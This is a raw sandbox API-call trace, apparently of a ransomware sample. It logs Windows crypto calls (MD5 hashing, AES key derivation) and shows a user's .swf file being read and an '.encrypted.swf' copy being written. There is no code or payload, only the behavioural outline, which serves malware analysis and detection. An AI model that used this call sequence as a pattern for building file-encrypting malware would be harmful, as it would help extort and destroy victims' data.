lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.120] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.120] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.120] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.120] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.121] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.121] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.121] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.121] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.121] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.121] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.122] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.122] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.122] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.122] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.122] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.122] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.122] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.123] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.123] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.123] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.123] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.123] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.123] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.123] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.123] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.123] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.124] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.124] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.124] CryptHashData (hHash=0xe8f40623a0, pbData=0xe8f418ba80, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.124] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.124] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.124] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.124] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40623a0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.124] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.124] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.124] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.124] CryptDestroyHash (hHash=0xe8f40623a0) returned 1 [0029.125] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.126] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.126] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.126] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.126] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.126] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\lRhx1S.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\lrhx1s.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.126] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.126] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.126] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.126] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.126] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.127] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl")) returned 0x10 [0029.127] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\lRhx1S.encrypted.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\lrhx1s.encrypted.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.127] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.127] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.127] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.127] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.129] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.129] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0029.130] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x688b, lpOverlapped=0x0) returned 1 [0029.131] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.134] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.134] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.134] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.134] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.135] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.135] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.135] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.135] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.135] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.135] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.136] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.136] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.136] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.136] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.136] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f40649a0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649a0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.136] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.136] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.136] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.137] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.137] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.137] 